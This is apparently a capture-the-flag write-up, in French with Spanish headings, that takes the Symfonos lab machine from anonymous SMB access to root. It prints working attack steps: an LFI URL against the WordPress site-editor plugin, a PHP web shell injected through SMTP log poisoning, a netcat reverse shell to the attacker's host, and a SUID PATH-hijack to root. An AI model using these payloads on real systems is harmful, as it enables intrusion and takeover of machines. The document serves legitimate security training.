Ir al contenido

OPÉRATION SYMFONOS : DE SMB À PATH HIJACKING - Équipe Portelcore

Objectif : Compromission totale (Root) de la machine cible Symfonos. Vecteur final : détournement de chemin (élévation de privilèges). Adresse IP cible : 172.20.0.142 État...

0vues

Objectif : Engagement total (Root) de la machine cible Symfonos. Vecteur final : Détournement de chemin (escalade de privilèges). Cible IP : 172.20.0.142 État : 🚩 ROOT OBTENU & FLAG CAPTURÉE

PHASE 1 : ACCÈS INITIAL (ÉNUMÉRATION & EXPLOITATION)

Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»

Avant d'envisager un Path Hijacking, nous devions obtenir un shell initial. Nous avons commencé par une phase exhaustive de reconnaissance réseau afin d'identifier la surface d'attaque.

Nous avons exécuté un script d'automatisation propriétaire (auto_scan_ip_nmap_Supreme.sh) pour effectuer un scan approfondi de la cible 172.20.0.142.

Commande exécutée :

Ventana de terminal
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scan

Commande Nmap sous-jacente : Le script a lancé la commande Nmap suivante pour obtenir le maximum de détails :

Ventana de terminal
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142

RÉSULTATS DU SCAN (Ports et Services) :

Nous avons identifié les services critiques exposés suivants :

PortÉtatServiceVersion / Détails
22/tcpOuvertsshOpenSSH (Debian)
25/tcpOuvertsmtpPostfix smtpd (Debian/GNU)
80/tcpOuverthttpApache httpd 2.4.25 ((Debian))
139/tcpOuvertnetbios-ssnSamba smbd 3.X - 4.X (Workgroup: WORKGROUP)
445/tcpOuvertnetbios-ssnSamba smbd 4.5.16-Debian (Workgroup: WORKGROUP)

Analyse tactique initiale :

  1. SMB (139/445) : Samba 4.5.16 est une version obsolète. Ce sera notre principal point d'entrée.
  2. HTTP (80) : Serveur Apache. Si l'entrée par SMB échoue, nous chercherons des répertoires web ou des vulnérabilités dans l'application.
  3. SMTP (25) : Postfix. Cela pourrait être utile pour l'énumération des utilisateurs ou des techniques de Log Poisoning.

Les scripts Nmap (smb-enum-*) ont fourni des informations cruciales sur la configuration du service Samba :

Résultats Clés :

  1. Utilisateurs : L'existence de l'utilisateur helios dans le domaine SYMFONOS a été confirmée.
  2. Ressources (Partages) :
    • anonymous : Accès en lecture/écriture (READ/WRITE) pour les invités (guest).
    • helios : Ressource personnelle de l'utilisateur helios.
    • IPC$ : Service IPC.
  3. Contenu Exposé : La ressource anonymous contient un fichier nommé attention.txt.
  4. Sécurité : La signature de message (Message Signing) est désactivée (disabled), ce qui pourrait permettre des attaques de type relay, bien que ce ne soit pas nécessaire dans ce cas.

Données brutes (Nmap) :

| smb-enum-domains:
| SYMFONOS
| Users: helios
...
| smb-ls: Volume \\172.20.0.142\anonymous
| SIZE TIME FILENAME
| <DIR> 2019-06-29T01:14:49 .
| <DIR> 2019-06-29T01:12:15 ..
| 154 2019-06-29T01:14:49 attention.txt
...
| smb-enum-shares:
| \\172.20.0.142\anonymous:
| Type: STYPE_DISKTREE
| Path: C:\usr\share\samba\anonymous
| Anonymous access: READ/WRITE
...
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00

Ciblant spécifiquement le protocole SMB, celui-ci permet souvent un accès anonyme ou nul s'il est mal configuré. Nous allons procéder à l'énumération des partages disponibles.

Ordre Tactique :

# Listar recursos (-L) sin contraseña (-N)
smbclient -L //172.20.0.142 -N

PREUVES COLLECTÉES :

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)

Analyse de Renseignement :

  • anonymous : Ressource accessible. Notre point d'entrée prioritaire.
  • helios : Nous révèle un nom d'utilisateur système valide (helios). Ce sera notre cible pour des attaques par force brute ou de la réutilisation de mots de passe ultérieurement.

Nous nous connecterons à la ressource anonymous pour inspecter son contenu et exfiltrer toute donnée pertinente.

Ordre d'Exfiltration :

smbclient //172.20.0.142/anonymous -N
smb: \> get attention.txt
smb: \> exit

PREUVE D'EXFILTRATION :

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
smb: \> exit

Analyse de Contenu (cat attention.txt) :

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

NOUVEAU RENSEIGNEMENT OBTENU :

  1. Nouvel Utilisateur Identifié : zeus (Probable administrateur ou utilisateur privilégié).
  2. Liste de Mots de Passe Filtérés (Dictionnaire) :
    • epidioko
    • qwerty
    • baseball

Nous testerons les identifiants extraits contre l'utilisateur helios sur le service SMB.

Tentative échouée (Mot de passe : helios) :

smbclient //172.20.0.142/helios -U helios
Password for [WORKGROUP\helios]:
session setup failed: NT_STATUS_LOGON_FAILURE

Tentative réussie (Mot de passe : qwerty) :

smbclient //172.20.0.142/helios -U helios
# Password: qwerty

PREUVE DE RÉUSSITE :

smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019

Analyse de la situation :

  • Accès assuré : Le mot de passe qwerty est valide pour helios via SMB.
  • Nouvelles cibles : research.txt et todo.txt. Ces fichiers contiennent souvent des chemins cachés du serveur web (« Sécurité par l'obscurité »).

Étape 1 : Téléchargement de l'intelligence

Sección titulada «Paso 1: Descargaremos la Inteligencia»

À partir de la session SMB de helios, nous allons exfiltrer les fichiers trouvés.

smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)

Étape 2 : Analyse de fichiers (La piste d'or)

Sección titulada «Paso 2: Análisis de Archivos (La Pista Dorada)»

cat research.txt :

Hélios (également Hélius) était le dieu du Soleil dans la mythologie grecque… (Informations génériques, non pertinentes).

cat todo.txt:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

Le point 3 révèle un chemin de répertoire caché sur le serveur web : /h3l105.

Étape 3 : Énumération de WordPress (WPScan)

Sección titulada «Paso 3: Enumeración de WordPress (WPScan)»

Nous exécuterons wpscan pour identifier les vecteurs d'attaque sur le site WordPress découvert :

Commande exécutée :

wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate p
  • Version WordPress : 5.2.2.
  • Plugins : Non détectés par les méthodes passives.
  • Action corrective : Recherche manuelle des plugins courants pour Symfonos (site-editor, mail-manning).

Nous confirmerons que le plugin site-editor est installé et vulnérable à la LFI.

URL d'exploitation (Payload) : http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Preuve de sortie :

root:x:0:0:root:/root:/bin/bash
...
helios:x:1000:1000:,,,:/home/helios:/bin/bash
{"success":true,"data":{"output":[]}}

État : Vulnérabilité LFI confirmée. Lecture arbitraire de fichiers active.

1.6 SMTP Log Poisoning vers un RCE (L'Assaut)

Sección titulada «1.6 SMTP Log Poisoning a RCE (El Asalto)»

1. Empoisonnement (Poisoning) - DÉJÀ RÉALISÉ : Nous allons injecter <?php system($_GET['cmd']); ?> dans /var/mail/helios via Telnet.

2. Exécution de Commandes (Trigger) : Nous allons appeler le journal empoisonné en utilisant la vulnérabilité LFI du plugin site-editor.

URL de Détonation : .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

Preuve de RCE : Le serveur retournera le contenu du courrier, y compris le résultat de l'exécution de la commande id à la fin :

From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026
Return-Path: <attacker@symfonos.localdomain>
...
Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...
{"success":true,"data":{"output":[]}}

État : RCE CONFIRMÉ. Nous avons une exécution de code en tant qu'utilisateur helios.

3. Reverse Shell (Accès Final) : Depuis le navigateur, nous allons lancer la shell inverse vers notre machine Kali :

&cmd=nc -e /bin/bash 172.20.0.165 4444

Preuve de Shell obtenue :

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086

PHASE 2 : ÉLÉVATION DE PRIVILÈGES (PATH HIJACKING)

Sección titulada «FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)»

Une fois le shell obtenu en tant qu'utilisateur helios, nous procéderons à l'énumération du système à la recherche de binaires SUID vulnérables.

2.1 Identification de la cible (Chasse SUID)

Sección titulada «2.1 Identificación del Objetivo (Caza SUID)»

Nous chercherons des binaires avec le bit SUID activé qui semblent « étranges » ou personnalisés.

Commande exécutée :

find / -perm -4000 -type f 2>/dev/null

Preuves collectées :

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck <-- ¡SOSPECHOSO!
/bin/mount
/bin/umount
/bin/su
/bin/ping

Analyse Tactique : Le binaire /opt/statuscheck n'est pas un binaire standard Linux. Son emplacement dans /opt et son nom suggèrent qu'il s'agit d'un script ou d'un programme personnalisé par l'administrateur. C'est notre objectif principal.

Nous examinerons ce que fait le binaire suspect.

Commande : strings /opt/statuscheck

Preuves collectées :

Ventana de terminal
...
curl -I H
http://lH
ocalhostH
...

Diagnostic Définitif : Le binaire invoque la commande curl sans spécifier son chemin absolu (c'est-à-dire qu'il utilise curl au lieu de /usr/bin/curl). Cela confirme qu'il est vulnérable à Path Hijacking.

2.3 Exécution de l'exploit (étape par étape)

Sección titulada «2.3 Ejecución del Exploit (Paso a Paso)»

En supposant que le binaire exécute curl sans chemin absolu, nous procéderons à l'attaque :

1. Préparer le Payload : Nous allons créer un script malveillant appelé curl qui invoque une shell.

Ventana de terminal
cd /tmp
echo "/bin/sh" > curl
chmod +x curl

2. Détourner le PATH : Nous allons modifier la variable d'environnement pour que le système recherche d'abord dans /tmp.

export PATH=/tmp:$PATH

3. Détoner : Nous allons exécuter le binaire SUID. Lorsqu'il est appelé curl, le système exécutera notre script avec les permissions de root (héritées du SUID).

/opt/statuscheck

Preuve finale (ROOT) :

whoami
root

Commande : cat /root/proof.txt

((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ())))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!

FIN DU RAPPORT